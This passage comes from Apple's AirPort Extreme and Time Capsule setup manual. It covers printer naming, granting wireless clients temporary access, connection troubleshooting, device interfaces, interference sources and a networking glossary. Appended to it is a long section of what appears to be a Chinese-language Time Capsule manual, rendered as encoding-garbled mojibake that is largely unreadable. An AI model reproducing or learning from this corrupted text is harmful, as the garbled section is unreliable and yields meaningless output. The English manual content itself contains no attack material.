printer from the default name to one you choose. To change the name of your USB printer: 1 Open AirPort Utility, select your device, and then choose Base Station > Manual Setup, or double-click the device icon to open its configuration in a separate window. 2 Click the Printer button and type a name for the printer in the USB Printers field. Adding a Wireless Client to Your 802.11n Network If your Apple wireless device supports it, and your network is password-protected using WPA Personal or WPA/WPA2 Personal, you can provide wireless clients access to your network without requiring them to enter the network password. When you allow a client access to your network, the client’s name and wireless MAC address (or AirPort ID) are stored in the access control list of AirPort Utility until you remove them from the list. You can provide 24 hours of access, after which time the client will no longer be able to access your network. When you provide a client access to your wireless network, the client does not need to enter the network password. To allow client access to your network: 1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac, or in Start > All Programs > AirPort on a Windows computer. 2 Select your Apple wireless device and choose Base Station > Manual Setup. Enter the password if necessary. 3 Choose Add Wireless Clients from the Base Station menu. 4 Select how you want the client to access the network:  Select PIN to enter the eight-digit number provided by the client requesting network access.  Select “First attempt” to allow network access to the first client attempting to join the network.  Select “Limit client’s access to 24 hours” if you want to provide only one day of access to your network. If you don’t select this option, the client will have access to your network until you remove the name from the list.Chapter 3 AirPort Network Designs 57 Solving Problems If you have trouble connecting to the Internet with any AirPort Extreme network design, try the following: On a computer using Mac OS X:  Make sure the wireless device is connected to the Internet. The computers on your AirPort network cannot connect to the Internet if your device is not connected to the Internet.  Check your Internet connection using your computer. If you can’t connect with your computer, the problem may be with your Internet connection.  On a Mac using Mac OS X v10.5, check the active network services in the Network pane of System Preferences. Make sure the ports you want to use are active.  Open Network preferences and then click AirPort. Make sure that the computer has joined the AirPort network created by your wireless device.  Restart your computer. This renews the IP address you receive from the wireless device. The IP addresses should be in the range of 10.0.1.2 to 10.0.1.200, 172.16.1.2 to 172.16.1.200, or 192.168.1.2 to 192.168.1.200, depending on the address scheme the wireless device uses.  If the wireless device is set up as a DHCP server, make sure you choose “Share a public IP address” from the Connection Sharing pop-up menu on the Internet Connection pane of Internet settings in AirPort Utility.  If you’re using a cable modem and your wireless device cannot connect to the Internet, turn off the cable modem, wait a few minutes, and then turn it on again. On a computer using Windows:  Make sure the wireless device is connected to the Internet. The computers on your AirPort network cannot connect to the Internet if your device is not connected to the Internet.  Check your Internet connection using your computer. If you can’t connect with your computer, the problem may be with your Internet connection.  Right-click the wireless connection icon, and then choose Status.58 Chapter 3 AirPort Network Designs  Make sure that the computer has joined the AirPort network created by your wireless device.  Restart your computer. This renews the IP address you receive from the wireless device. The IP addresses should be in the range of 10.0.1.2 to 10.0.1.200, 172.16.1.2 to 172.16.1.200, or 192.168.1.2 to 192.168.1.200 depending on the address scheme the device uses.  If the device is set up as a DHCP server, make sure the “Obtain an IP address automatically” checkbox is selected in the General pane of Internet Protocol (TCP/IP) Properties. Right-click the wireless connection icon and click Properties. Click Internet Protocol (TCP/IP), and then click Properties. More Information About AirPort You can find more information about AirPort in the following locations:  AirPort Utility Help Look in AirPort Utility Help for information on setting up an AirPort Extreme network; using an AirPort Extreme Base Station, an AirPort Express, or a Time Capsule; editing settings; avoiding sources of interference; locating additional information on the Internet; and more. On a computer using Mac OS X, open AirPort Utility and choose Help > AirPort Utility Help. On a computer using Windows, open AirPort Utility and click Help.  World Wide Web Apple AirPort website at www.apple.com/airportextreme Apple Support website at www.apple.com/support/airport4 59 4 Behind the Scenes This chapter defines terms and concepts used to discuss computer networks. Use it as a reference to help you understand what is taking place behind the scenes of your AirPort wireless network. Basic Networking Packets and Traffic Information travels across a network in chunks called packets. Each packet has a header that tells where the packet is from and where it’s going, like the address on the envelope when you send a letter. The flow of all these packets on the network is called traffic. How Information Reaches Its Destination Hardware Addresses Your computer “listens” to all of the traffic on its local network and selects the packets that belong to it by checking for its hardware address (also called the media access control, or MAC address) in the packet header. This address is a number unique to your computer. Every hardware product used for networking is required to have a unique hardware address permanently embedded in it. Your AirPort Card’s number is called the AirPort ID. IP Addresses Since the Internet is a network of networks (connecting millions of computers), hardware addresses alone are not enough to deliver information on the Internet. It would be impossible for your computer to find its packets in all the world’s network traffic, and impossible for the Internet to move all traffic to every network.60 Chapter 4 Behind the Scenes So, your computer also has an Internet Protocol (IP) address that defines exactly where and in what network it’s located. IP addresses ensure that your local Ethernet network receives only the traffic intended for it. Like the hierarchical system used to define zip codes, street names, and street numbers, IP addresses are created according to a set of rules, and their assignment is carefully administered. The hardware address is like your name; it uniquely and permanently identifies you. But it doesn’t offer any clues about your location, so it’s only helpful in a local setting. An IP address is like your street address, which contains the information that helps letters and packages find your house. Rules for Sending Information (Protocols) A protocol is a set of rules that define how communication takes place. For instance, a networking protocol may define how information is formatted and addressed, just as there’s a standard way to address an envelope when you send a letter. Using the AirPort Extreme Base Station This section describes the different network interfaces of the AirPort Extreme Base Station and describes the functions the base station can provide. Base Station Interfaces To use the AirPort Extreme Base Station, you configure how its networking interfaces will be used. The AirPort Extreme Base Station has five hardware networking interfaces:  AirPort interface: The AirPort interface creates an AirPort network for AirPortenabled computers to join. The base station can provide IP services such as DHCP and NAT using this interface. The base station cannot use the AirPort interface to establish a connection with the Internet.  Ethernet WAN (<) interface: Use the Ethernet WAN interface to connect DSL or cable modems and connect to the Internet.  Ethernet LAN (G) interface: If your base station has one or more Ethernet LAN interface ports, you can use them to provide IP services to local Ethernet clients.  USB (d) interface: Use the USB interface to connect a USB printer or hard disk to the AirPort Extreme Base Station. Status light Ethernet WAN port Power port USB port Ethernet ports Reset button Security slot < G ¯ ∏ dChapter 4 Behind the Scenes 61 Using the Time Capsule This section describes the different network interfaces of the Time Capsule and describes the functions it can provide. Time Capsule Interfaces To use your Time Capsule, you configure how its networking interfaces will be used. The Time Capsule has five hardware networking interfaces:  AirPort interface: The AirPort interface creates an AirPort network for AirPortenabled computers to join. The Time Capsule can provide IP services such as DHCP and NAT using this interface. The Time Capsule cannot use the AirPort interface to establish a connection with the Internet.  Ethernet WAN (<) interface: Use the Ethernet WAN interface to connect DSL or cable modems and connect to the Internet.  Ethernet LAN (G) interface: The Time Capsule has three Ethernet LAN interface ports. You can use them to provide IP services to local Ethernet clients.  USB (d) interface: Use the USB interface to connect a USB printer to the Time Capsule. Using the AirPort Express This section describes the different network interfaces of the AirPort Express Base Station and describes the functions the base station can provide. AirPort Express Interfaces To set up the AirPort Express Base Station, you configure how its networking interfaces will be used. The AirPort Express Base Station has four hardware networking interfaces:  AirPort interface: The AirPort interface creates an AirPort network for AirPortenabled computers to join. The base station can provide IP services such as DHCP and NAT using this interface. The base station cannot use the AirPort interface to establish a connection with the Internet.  Ethernet WAN (<) interface: Use the Ethernet WAN interface to connect DSL or cable modems and connect to the Internet.  USB (d) interface: Use the USB interface to connect a USB printer to the AirPort Extreme Base Station. < G ≤ d ∏ Status light Ethernet WAN port Power port Reset button USB port Ethernet ports Security slot62 Chapter 4 Behind the Scenes  Audio (-) interface: Use the analog and optical digital audio stereo mini-jack to connect an AirPort Express to a home stereo or powered speakers. Apple Wireless Device Functions  Bridge: Each Apple wireless device is configured by default as a bridge between the wireless AirPort network and the wired Ethernet network. Connecting an AirPort network to an Ethernet network through the device’s Ethernet LAN port (G) bridges the wireless AirPort network to the wired Ethernet network. Important: If you’re connecting an Ethernet network to the device’s Ethernet LAN port (G), make sure the Ethernet network does not have an Internet connection.  NAT router: One of the most powerful features of Apple wireless devices is their ability to share one Internet connection with several computers. To provide this service, the device acts as a router. The device can be configured to provide both bridging services and routing services at the same time.  DHCP server: When you configure the wireless device to act as a DHCP server, it provides IP addresses to both wired and wireless client computers that are configured to obtain IP addresses using DHCP. Using DHCP makes IP configuration simple for client computers, since they don’t need to enter their own IP information. Status light AC plug adapter USB port Ethernet port Line Out port (Analog and optical digital audio mini-jack) Reset button G - d ∏Chapter 4 Behind the Scenes 63 Items That Can Cause Interference with AirPort The farther away the interference source, the less likely it is to cause a problem. The following items can cause interference with AirPort communication:  Microwave ovens  DSS (Direct Satellite Service) radio frequency leakage  The original coaxial cable that came with certain types of satellite dishes. Contact the device manufacturer and obtain newer cables.  Certain electrical devices, such as power lines, electrical railroad tracks, and power stations  Cordless telephones that operate in the 2.4 gigahertz (GHz) range. If you have problems with your phone or AirPort communication, change the channel of your base station.  Other AirPort and wireless networks  Adjacent base stations using nearby channels. If base station A is set to channel 1, base station B should be set to channel 6 or 11. For best results, use channels 1, 6, or 11 when operating your base station in the 2.4 GHz range.  Moving objects that temporarily place metal between your computer and the base stationGlossary 64 Glossary 10Base-T The most common cabling method for Ethernet. 10Base-T conforms to IEEE standard 802.3. It was developed to enable data communications over unshielded twisted pair (telephone) wiring at speeds of up to 10 megabits per second (Mbps) up to distances of approximately 330 feet on a network segment. 10/100Base-T A networking standard that supports data transfer rates up to 100 Mbps. Because it is 10 times faster than Ethernet, it is often referred to as Fast Ethernet. 10/100/1000Base-T A term describing various technologies for transmitting Ethernet packets at a rate of a gigabit per second. Sometimes referred to as Gigabit Ethernet. In 2000, Apple’s Power Mac G4 and PowerBook G4 were the first mass-produced personal computers featuring the 10/100/1000Base-T connection. It quickly became a built-in feature in many other computers. 802.11a An IEEE standard for a wireless network that operates at 5 GHz with rates up to 54 Mbps. 802.11b An IEEE standard for a wireless network that operates at 2.4 GHz with rates up to 11 Mbps. 802.11g An IEEE standard for a wireless network that operates at 2.4 GHz Wi-Fi with rates up to 54 Mbps. 802.11n A task group of the IEEE 802.11 committee whose goal is to define a standard for high throughput speeds of at least 100 Mbps on wireless networks. Some proposals being fielded by the task group include designs for up to 540 Mbps, Multiple-input multiple-output (MIMO) technology, using multiple receivers and multiple transmitters in both the client and access point to achieve improved performance, is expected to form the basis of the final specification. See Mbps, MIMO. access point Also known as a wireless access point (WAP), a device that connects wireless devices together to form a network. authentication The process that occurs after association to verify the identity of the wireless device or end user and allow access to the network. See WPA, WPA2.Glossary 65 backbone The central part of a large network that links two or more subnetworks. The backbone is the primary data transmission path on large networks such as those of enterprises and service providers. A backbone can be wireless or wired. bandwidth The maximum transmission capacity of a communications channel at any point in time. Bandwidth, usually measured in bits per second (bps), determines the speed at which information can be sent across a network. If you compare the communications channel to a pipe, bandwidth represents the pipe width and determines how much data can flow through the pipe at any one time. The greater the bandwidth, the faster data can flow. See bps. base station In the area of wireless computer networking, a base station is a radio receiver/transmitter that serves as the hub of the local wireless network, and may also be the gateway between a wired network and the wireless network. A base station can also be referred to as an access point or router. Bluetooth A technology designed for short-range, wireless communications among computing devices and mobile products, including PCs and laptop computers, personal digital assistants, printers, and mobile phones. Designed as a cable replacement, Bluetooth enables short-range transmission of voice and data in the 2.4 GHz frequency spectrum within a range of about 30 feet. bps Bits per second. A measure of data transmission speed across a network or communications channel; bps is the number of bits that can be sent or received per second. It measures the speed at which data is communicated and should not be—but often is—confused with bytes per second. Whereas “bits” is a measure of transmission speed, “bytes” is a measure of storage capacity. See bandwidth, Mbps. bridge A wireless device that connects multiple networks together. Using an access point as a bridge turns off Network Address Translation (NAT) and DHCP routing and simply extends the range of service. broadband A comparatively fast Internet connection possessing sufficient bandwidth to accommodate multiple voice, data, and video channels simultaneously. Cable, DSL, and satellite are all considered to be broadband channels; they provide much greater speed than dial-up Internet access over telephone wires. See cable modem, DSL. broadband modem A device that connects a local computer or network to a highspeed Internet service, such as DSL or Cable Internet. See cable modem, DSL. cable modem A device used with broadband Internet service provided by a traditional cable TV service. Cable modems convert analog data from the cable TV system into a digital format that can be used by a computer. See broadband modem.66 Glossary channel One portion of the available radio spectrum that all devices on a wireless network use to communicate. Changing the channel on the access point/router can help reduce interference. client Any computer or device connected to a network that requests files and services (files, print capability) from the server or other devices on the network. The term also refers to end users. DHCP Dynamic Host Configuration Protocol. A protocol for dynamically assigning IP addresses from a predefined list to nodes on a network. When they log on, network nodes automatically receive an IP address from a pool of addresses served by a DHCP. The DHCP server provides (or leases) an IP address to a client for a specific period of time. The client will automatically request a renewal of the lease when the lease is about to run out. If a lease renewal is not requested and it expires, the address is returned to the pool of available IP addresses. Using DHCP to manage IP addresses simplifies client configuration and efficiently utilizes IP addresses. See IP address. DNS Domain Name System. An Internet service that translates alphanumeric domain names to assigned IP addresses and vice versa. The term is typically used to describe the server that makes the translation. Every website has its own specific IP address on the Internet. DNS typically refers to a database of Internet names and addresses that translates the alphanumeric names to the official Internet Protocol numbers and vice versa. For instance, a DNS server converts a name like mywebsite.com to a series of numbers like 107.22.55.26. See IP, IP address. DSL Digital Subscriber Line. A dedicated digital circuit between a residence or business and a telephone company’s central office. It allows high-speed data, voice, and video transmissions over existing twisted-pair copper plain old telephone service (POTS) telephone wires. See broadband. dual-band A device that is capable of operating in either of two frequencies. On a wireless network, dual-band devices are capable of operating in the 2.4 GHz (802.11b/g) or 5 GHz (802.11a) bands. encryption A mechanism for providing data confidentiality. See WPA, WPA2. Ethernet The most popular international standard technology for wired local area networks (LANs). It provides from 10 Mbps transmission speeds on basic 10Base-T Ethernet networks to 100 Mbps transmission speeds on Fast Ethernet networks, 1000 Mbps on Gigabit Ethernet, and 10,000 Mbps on 10 Gigabit Ethernet.Glossary 67 firewall A system of software and/or hardware that resides between two networks to prevent access by unauthorized users. The most common use of a firewall is to provide security between a local network and the Internet. Firewalls can make a network appear invisible to the Internet and can block unauthorized and unwanted users from accessing files and systems on the network. Hardware and software firewalls monitor and control the flow of data in and out of computers in both wired and wireless enterprise, business and home networks. They can be set to intercept, analyze, and stop a wide range of Internet intruders and hackers. gateway In the wireless world, a gateway is an access point with additional software capabilities such as providing NAT and DHCP. Gateways may also provide VPN support, roaming, firewalls, various levels of security, and so on. hotspot A location where users can access the Internet using Wi-Fi laptops and other Wi-Fi enabled devices. Access may be provided free or for a fee. Hotspots are often found at coffee shops, hotels, airport lounges, train stations, convention centers, gas stations, truck stops, and other public meeting areas. Corporations and campuses often offer hotspot service to visitors and guests. Hotspot service is sometimes available aboard planes, trains, and boats. hub A multiport device used to connect client devices to a wired Ethernet network. Hubs can have numerous ports and can transmit data at speeds ranging from 10 to 1000 Mbps to all the connected ports. A small wired hub may only connect 4 computers; a large hub can connect 48 or more. See router. IEEE 802.11 The family of specifications developed by the Institute of Electrical and Electronics Engineers (IEEE) 802.11 committee, which establishes standards for wireless Ethernet networks. 802.11 standards define the over-the-air interface between wireless clients and a base station, or an access point that is physically connected to the wired network. IP Internet Protocol. The basic communications protocol of the Internet. See IP address, TCP/IP. IP address Internet Protocol address. IP Version 4, the most widely used Internet protocol, provides a 32-bit number that identifies the sender or receiver of information sent across the Internet. An IP address has two parts: The identifier of the particular network on the Internet and the identifier of the particular device (which can be a server or a workstation) within that network. The newer IP, Version 6, provides a 128-bit addressing scheme to support a much greater number of IP addresses. See DHCP, DNS, IP. IP subnet An IP subnet is a local network as defined by IP network numbers. Connecting to a subnet involves connecting to the appropriate hardware network and configuring IP for that network.68 Glossary LAN Local area network. A system of connecting PCs and other devices within the same physical proximity for sharing resources such as an Internet connections, printers, files, and drives. When Wi-Fi is used to connect the devices, the system is known as a wireless LAN or WLAN. See WAN. MAC address Media Access Control address. A unique hardware number that identifies each device on a network. A device can be a computer, printer, and so on. A MAC address is also known as an AirPort ID. Mbps Megabits per second. A measurement of data speed equivalent to a million bits per second. MIMO Multiple-input multiple-output. An advanced signal processing technology that uses multiple receivers and multiple transmitters in both the client and access point to achieve data throughput speeds of 100 Mbps. See 802.11n. NAT Network Address Translation. A network capability that enables multiple computers to dynamically share a single incoming IP address from a dial-up, cable, or DSL connection. NAT takes a single incoming public IP address and translates it to a new private IP address for each client on the network. See DHCP, IP address. network name A name used to identify a wireless network. See SSID. NIC Network interface card. A wireless or wired PC adapter card that allows the client computer to utilize network resources. Most office-wired NICs operate at 100 Mbps. Wireless NICs operate at data rates defined by 802.11 standards. packet A unit of information transmitted from one device to another on a network. A packet typically contains a header with addressing information, data, and a checksum mechanism to ensure data integrity. pass phrase A series of characters used to create a key that is used by Wi-Fi Protected Access (WPA). See PSK, WPA. print server A network device, often a computer, that connects to at least one printer, allowing it to be shared among computers on a network. PSK Pre-shared key. A mechanism in Wi-Fi Protected Access (WPA)-Personal that allows the use of manually entered keys or passwords to initiate WPA security. The PSK is entered on the access point or home wireless gateway and each PC that is on the Wi-Fi network. After entering the password, Wi-Fi Protected Access automatically takes over. It keeps out eavesdroppers and other unauthorized users by requiring all devices to have the matching password. The password also initiates the encryption process which, in WPA is Temporal Key Integrity Protocol (TKIP) and in WPA2 is Advanced Encryption Standard (AES). See TKIP, WPA-Personal, WPA2-Personal.Glossary 69 roaming (Wi-Fi) The ability to move from one area of Wi-Fi coverage to another with no loss in connectivity (hand-off). router A wireless router is a device that accepts connections from wireless devices to a network, includes a network firewall for security, and provides local network addresses. See hub. server A computer that provides resources or services to other computers and devices on a network. Types of servers include print servers, Internet servers, mail servers, and DHCP servers. A server can also be combined with a hub or router. See DHCP, hub, router. SSID Service set identifier. A unique 32-character network name, or identifier, that differentiates one wireless LAN from another. All access points and clients attempting to connect to a specific WLAN must use the same SSID. The SSID can be any alphanumeric entry up to a maximum of 32 characters. See network name. subnet An IP address range that is part of a larger address range. Subnets are used to subdivide a network address of a larger network into smaller networks. Subnets connect to other networks through a router. Each individual wireless LAN will typically use the same subnet for all of its clients. See IP address, router. TCP Transmission Control Protocol. The transport-level protocol used with the Internet Protocol (IP) to route data across the Internet. See IP, TCP/IP. TCP/IP The underlying technology of Internet communications. While IP handles the actual delivery of data, TCP tracks the data packets to efficiently route a message through the Internet. Every computer in a TCP/IP network has its own IP address that is either dynamically assigned at startup (see DHCP) or permanently assigned as a static address. All TCP/IP messages contain the address of the destination network, as well as the address of the destination station. This enables TCP/IP messages to be transmitted to multiple networks (subnets) within an organization or worldwide. For example, when a user downloads a webpage, TCP divides the page file on the web server into packets, numbers the packets, and forwards them individually to the user’s IP address. The packets may be routed along different paths before reaching the user’s address. At the destination, TCP reassembles the individual packets, waiting until they have all arrived to present them as a single file. See IP, IP address, packet, TCP. throughput Usually measured in bps, Kbps, Mbps or Gbps, throughput is the amount of data that can be sent from one location to another in a specific amount of time. See bps, Mbps. USB Universal Serial Bus. A high-speed bidirectional serial connection used to transfer data between a computer and peripherals such as digital cameras and memory cards. 70 Glossary WEP Wired equivalent privacy. The original security standard used in wireless networks to encrypt the wireless network traffic. See WPA, Wireless local area network. Wi-Fi A term developed by the Wi-Fi Alliance to describe wireless local area network (WLAN) products that are based on the Institute of Electrical and Electronics Engineers. Wi-Fi Certified The certification standard designating IEEE 802.11-based wireless local area network (WLAN) products that have passed interoperability testing requirements developed and governed by the Wi-Fi Alliance. wireless network Devices connected to a network using a centralized wireless access point. See WLAN. WLAN A data communications network that spans large local, regional, national, or international areas and is usually provided by a public carrier (such as a telephone company or service provider).The term is used to distinguish between phone-based data networks and Wi-Fi networks. Phone networks are considered wide area networks (WANs) and Wi-Fi networks are considered wireless local area networks (WLANs). See LAN. WPA - Enterprise Wi-Fi Protected Access-Enterprise. A wireless security method that provides strong data protection for multiple users and large managed networks. It uses the 802.1X authentication framework with TKIP encryption and prevents unauthorized network access by verifying network users through an authentication server. See 802.1X. WPA - Personal Wi-Fi Protected Access-Personal. A wireless security method that provides strong data protection and prevents unauthorized network access for small networks. It uses TKIP encryption and protects against unauthorized network access. WPA2 Wi-Fi Protected Access 2. The follow-on security method to WPA for wireless networks that provides stronger data protection and network access control. It provides enterprise and consumer Wi-Fi users with a high level of assurance that only authorized users can access their wireless networks. Based on the ratified IEEE 802.11i standard, WPA2 provides government grade security by implementing the National Institute of Standards and Technology (NIST) FIPS 140-2 compliant AES encryption algorithm and 802.1X-based authentication. There are two versions of WPA2: WPA2- Personal and WPA2-Enterprise. WPA2-Personal protects unauthorized network access by utilizing a set-up password. WPA2-Enterprise verifies network users through a server. WPA2 is backward compatible with WPA. Like WPA, WPA2 uses the 802.1X/EAP framework as part of the infrastructure that ensures centralized mutual authentication and dynamic key management and offers a pre-shared key for use in home and small office environments. Like WPA, WPA2 is designed to secure all versions of 802.11 devices, including 802.11b, 802.11a, and 802.11g, multiband and multimode. See WPA2- Enterprise, WPA2-Personal.Glossary 71 WPA2 - Enterprise Wi-Fi Protected Access 2 - Enterprise. The follow-on wireless security method to WPA that provides stronger data protection for multiple users and large managed networks. It prevents unauthorized network access by verifying network users through an authentication server. See WPA2. WPA2 - Personal Wi-Fi Protected Access 2 - Personal. The follow-on wireless security method to WPA that provides stronger data protection and prevents unauthorized network access for small networks. See WPA2, PSK.www.apple.com/airportextreme www.apple.com/airport © 2009 Apple Inc. All rights reserved. Apple, the Apple logo, AirPort, AirPort Extreme, AppleShare, AppleTalk, Back to My Mac, Bonjour, Mac, and Mac OS are trademarks of Apple Inc., registered in the U.S. and other countries. AirPort Express, AirTunes, Time Capsule, and Time Machine are trademarks of Apple Inc. Other product and company names mentioned herein may be trademarks of their respective companies. 019-1257 Time Capsule3  5 1 7 Time Capsule 8  AirPort  9  11 Time Capsule 13 2 Time Capsule 14 Time Capsule  17  AirPort  19  19  ! Internet " 21 #$%& 22 '()*+,-./0"12 23 3Time Capsule 4 Time Machine 25 3 25 5627"1 Internet 25 56289-.:Time Capsule -. 26 56Time Capsule ;<=> 27 56Time Capsule  ?@ABC4 28 56DEF;<=> 29 G AirPort  29 HITime Capsule JKLM 30 NO AirPort PQR& 31 4 33 Time Capsule 36 Regulatory Compliance Information1 5 1  Time Capsule Time Capsule Time Capsule 0S2TUL#V Wi-Fi WXYZ[\❡ Mac OS X v10.5.2 Leopard :^4_`a Time Machine >❝0^TcLd4 eZ[ 4e 23 ? ➋A Time Capsule 5 Time Machine➌❡  Ÿ-. ¡¢£"1 Internet❝Sžfg Wi-Fi Z ⑧5 iPhone❞iPod touch  Apple TV⑨kl ! Internet "❡2¤0^3"1h fg¥¦ !§¨❡  <-. ¡:;<-. ¡©ª❝«¬d­< Internet "®¯ z{°±K ⑧ˆ5fg❞iPhone❞iPod touch  Apple TV⑨❡  d Time Capsule "1h2›œ❡pZtu Macintosh❞ Windows XP : Windows Vista fg™š1❝/u"1s‚❡  d²³ USB DEF"1h2 Time Capsule❡AirPort 4e<“”fg ⑧<:⑨´u"1hµDEF#V¶D❡  d·1 USB ¸¹"1h2 Time Capsule 4❡AirPort 4e<“”fg ⑧<:⑨´uº»¸¹¼½¾❡ 1  7  d USB ¿À"1h Time Capsule 4❝ÁÂÃ"1Ă USB Z ⑧5DEF: ¸¹⑨❡4e / ➝§¨I¼❤56n Windows XP : Windows Vista fg❝FnB [ J ] > [ e< ] > AirPort ¼❡ -./01( Time Capsule ÷ðZKL❝'()*"1❡ý: ;< 22 ì➋'()*+,-./0"12 ➌❡ /2 13 2  Time Capsule Time Capsule Internet AirPort `Mdz{ê¶N\OP✐dTime Capsule "1 Internet❝^ ➜AirPort ➝¼QR2 Time Capsule žtu❡5G Ä“½Q❝^ ➜AirPort ➝#$tu“½Q❝ý:; www.apple.com/tw/support/airport S4 ➜ AirPort T AirPort  ⑧Mac OS X v10.5 + Windows⑨➝❡ 32ç±q Time Capsule ãä¥å¹4 ➜AirPort ➝¥Â❝2K0^  ➜AirPort ➝¼QRUVVoWpK\ X❡íî#$%&❝ý3 ➜AirPort ➝ ➜wLx➝%ia%D ➜þY➝❡ý:;< 21 ì ➋#$%&➌❡14  2  Time Capsule Time Capsule ~2 Time Capsule z{ Internet "l❝ê¶fgZdu"1  AirPort  !§¨❞YZ[❝^ Internet > ⑧ˆ5\ ]Àf^_`>⑨✐  pZ ➜AirPort ø➝ ➜AirPort Extreme ø➝ Macintosh fg  pZ 802.11a❞802.11b❞802.11g  IEEE 802.11n draft ñòtufg  ž Wi-Fi Z ›œ"1 Time Capsule fgm0º» !§¨^"1 Internet❡ í2ç±q Mac OS X v10.5.2 :^4_`❝2K0^Time Machine d4 e / ➝§¨ I¼❤^Windows fg [ J ] > [ e< ] > AirPort ¼⑨❝%D2 Time Capsule❝ÁÂ×jê ➜e*➝❡ 4 èéfg4 +h❡ 5 Mac OS X v10.5 6789:;<✐ 1 ý%D ➜i6➝ > ➜j♠➝❝ÁÂ×jê ➜¶DÊl➝❡ 2 ×jê ➜Ž,➝⑧+⑨❝ÁÂ3¶E¼%D2DEF❡ 3 ×jê ➜Ž,➝×Ø❡ 56¶Ea;<á DEF❝ý¶4×ØmnDEF❡ 5 Mac OS X v10.3 ,10.4 6789:;<✐ 1 c ➜DEF➝⑧B ➜> / ➝§¨Io⑨❡ 2 %D¶EaDEF❡ 56¶Ea;<á DEF❝ý×jê ➜Ž,➝£A%ia%D Bonjour❝ Á¶Ea%DDEF❡ =>Windows XP , Vista 679:;<✐ 1 ý Time Capsule ãäå¹4ç± Windows _` Bonjour❡ 2 ýèéfg4 +h"1h2DEF❡  AirPort fg:ž“”ø:p1øfg❝d0™š Time Capsule "1 Internet❡"1h Time Capsule ›œËfgm0º»" 1 Internet❡ 2  Time Capsule 17 ™š Time Capsule❝fg"1h›œËfgmu“q#VPQ❡ AirPort íî£pK2 Time Capsule❝ý ➜AirPort ➝¼QR ❡➜AirPort ➝€32ç± Time Capsule å¹4lj"ç±❡ 5 Mac OS X v10.4 ,8?@ Macintosh 678✐ 1 c ➜AirPort ➝⑧B ➜> / ➝§¨Io⑨❡ 2 %D2 Time Capsule ÁÂ×jê [ e*]❡ 56; [ e< ] > AirPort⑨❡ 2 %D2 Time Capsule ÁÂ×jê [ e*]❡18  2  Time Capsule 3 ýèéfg4 +h Time Capsule 2❡ ➜AirPort ➝¼QR€vÝ2jƓÝÞ❝wxî y‹2îz{❝£€|R2+,ö❡ 562î Time Capsule "1 Internet❝2óô} Internet z{{>~ ⑧ISP⑨ý—} ⑧DSL :ÎÏÐF⑨€ ❝:n™šÑ<›œ"1 Internet❡í2 ISP 1h‚½Q ⑧5ƒ IP B„: DHCP )* ID⑨❝0 uî3 ➜AirPort ➝a+,ÅƽQ❡32 Time Capsule l❝ý9 êÅƽQ^Zd❡ 2  Time Capsule 19 20^ ➜AirPort ➝¼QR❡Q Rd…†2UVóô‡ˆ'‰Š❞-. ¡❝ž&â ❡ í2î34 ! USB DEF: USB ¸¹✐ 1 dDEF:¸¹"1h Time Capsule  USB Ë ⑧d⑨❡ 2 c ➜AirPort ➝⑧B Macintosh fg4 ➜> / ➝§ ¨I¼❤:Windows XP fg [ J ] > [ e< ] > AirPort ¼⑨❡ 3 %D2 Time Capsule ÁÂ×jê [ e*]❡ 56; / ➝§¨ I¼❤56nWindows XP fg❝FnB [ J ] > [ e< ] > AirPort ¼⑨❡ 2 %D2 Time Capsule ÁÂ×jê [ e*]❡ í2%3G÷ Time Capsule❝20uî"1÷❝Á ÂÃG Time Capsule ❡ íî3 Macintosh fg4%D2îG❝ý%i¶a AirPort %i❡3Windows XP fg4❝dŽ ï3"‘ 4❝ $h2r’Š“ (SSID) '(❝í”iaÑĂ❝ý%D2❡ 3 ýèéfg4 +h ! Time Capsule  Internet "❡ ➜AirPort ➝z{Tc Time Capsule à7❡562î ž%&❝5¯•"❝:n#$ DHCP %&❝ý ➜AirPort ➝ ➜wLx➝%ia%D ➜þY➝❡ 2  Time Capsule 21 í2î#$ Time Capsule %& ⑧5#$çW%&❞–—❞DHCP ˜ ™l¦❞"®¯•❞fûü❞3€ ^ž⑨❝ý ➜AirPort ➝þY Time Capsule❡ 9F"G✐ 1 c ➜AirPort ➝⑧B Macintosh fg4 ➜> / ➝§ ¨I¼❤^Windows XP fg [ J ] > [ e< ] > AirPort ¼⑨❡ 2 í¶EaÑĂZ❝ý%D2îZ❡56;❝20^Z[fg4e<& â❝w¬2é­❞®¯❞°­±`❡32dTime Machine r#Â❝€ ªXYZ[2fg❡ 562n Mac OS X v10.5.2 :^4_`❝~2²H"1 Time Capsule l❝Time Machine €vÝ2n³îZ[2§¨❡ý×jê ➜\'Z[´¹➝❝ ÁÂTime Machine €XYr#µêY\❡  Mac OS X Leopard ➜j➝ Time Machine ÈCXYZ[❞ ¶j‚Z[´¹❝:nsž❡ 5 Mac OS X Leopard 678,VWTime Machine✐ 1 ý%D ➜i6➝ > ➜j♠➝❝ÁÂ×jêTime Machine❡ 2 dh ➜➝❡ 3 ×jê ➜G´¹➝❡ 4 %D2 Time Capsule £×jê ➜Z[➝❡24  2  Time Capsule ·Z[½¾I¸❝2 ➜Mac QR+h➝❝ÁÂ3mnÆBa+, Time Machine❡3 25 3 XYZ[\]^ Time Capsule Internet  ý£G$12fg"1 Internet❡5627"1❝ý&2n%& ❡56%&❝Ǥn7"1❝ýÈÉ2 Internet  z{{>~ ⑧ISP⑨❡  ý&2"1n%&❡ Time Capsule 20^ÖK Time Capsule ”Ÿ AirPort -.: Time Capsule -.❡ _` Time Capsule PQ✐ 1 ÊËÌ ⑧ˆ58^Í⑨×ÎÖK×Øj ❡ 7k lmnolpqrst❝u+,Y vwx❡26  3  2 %D2 AirPort ❡  5 Macintosh 678❝%i¶a AirPort %i%D Time Capsule  ⑧Š“€Ï⑨❡  5Windows XP ab678❝dŽ ï3"‘ 4❝$h2 r’ [AirPort Š“ ] (SSID) '(❝í”iaÑĂ❝ý%D2 AirPort ❡ 3 c ➜AirPort ➝⑧B Macintosh fg4 ➜> / ➝§ ¨I¼❤^Windows XP fg [ J ] > [ e< ] > AirPort ¼⑨❡ 4 %D2 Time Capsule❝£ ➜wLx➝%ia%D ➜þY➝❡ 5 ׶a AirPort jê❝ÁÂ×jê ➜wLx➝❡ 6 +, Time Capsule -.❡ 7 ×jê ➜➝£ ➜çWЛ➝A%ia%DŽ-àŽ- tu❝£–'2 AirPort Y-. ¡❡íqŽ-tu❝ý+, AirPort -.❡ 8 × ➜G➝jêÖY Time Capsule❝£–Ñ,❡ Time Capsule GÒd AirPort Extreme fÓÂ❝ÃÖd=❡ í Time Capsule rW(=>❝20uîdwLxÖK'ÔÕÖ❡ / Time Capsule noyz{|Y}~v€‚Vƒ„Y ❝… v/ Time Capsule noyz{|Y}❡ 